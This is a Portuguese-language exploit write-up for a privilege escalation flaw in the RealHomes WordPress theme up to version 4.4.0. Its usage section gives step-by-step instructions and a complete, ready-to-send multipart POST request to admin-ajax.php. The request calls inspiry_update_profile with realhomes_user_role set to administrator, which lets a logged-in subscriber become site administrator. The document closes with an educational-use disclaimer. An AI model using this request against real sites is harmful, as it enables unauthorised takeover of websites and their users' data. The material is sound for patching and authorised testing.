
RH - Real Estate WordPress Theme <= 4.4.0 - Escalação de Privilégios Autenticada (Assinante+)
🔥 Resumo da Vulnerabilidade
O tema WordPress RealHomes versões <= 4.4.0 é vulnerável a uma vulnerabilidade de escalação de privilégios. Isso permite que usuários autenticados com privilégios baixos (como assinantes) elevem seus papéis para administradores. Essa vulnerabilidade ocorre através da função inspiry_update_profile, que permite indevidamente que os usuários alterem seu papel se a opção ere_allow_users_change_role estiver habilitada.
Este problema pode ser explorado enviando uma solicitação POST especialmente criada para o endpoint admin-ajax.php, fornecendo o parâmetro realhomes_user_role definido como administrator.
🔍 Tema Afetado
🧪 Características do Exploit
administrator através do parâmetro realhomes_user_role.🧠 Pesquisador
🚀 Uso
Faça login no site alvo como um usuário de baixo privilégio (ex.: assinante).
Acesse o endpoint /wp-admin/admin-ajax.php com os seguintes dados POST, que incluem o realhomes_user_role definido como administrator:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
Verifique a resposta: Se a solicitação for bem-sucedida, o atacante obterá acesso administrativo.
Verifique acessando a página /wp-admin/ para confirmar se o atacante recebeu privilégios de administrador.
🔒 Aviso Legal: Isto destina-se apenas a fins educacionais e deve ser usado somente em sistemas que você possui ou para os quais está explicitamente autorizado a testar. O uso indevido deste código pode levar a consequências legais.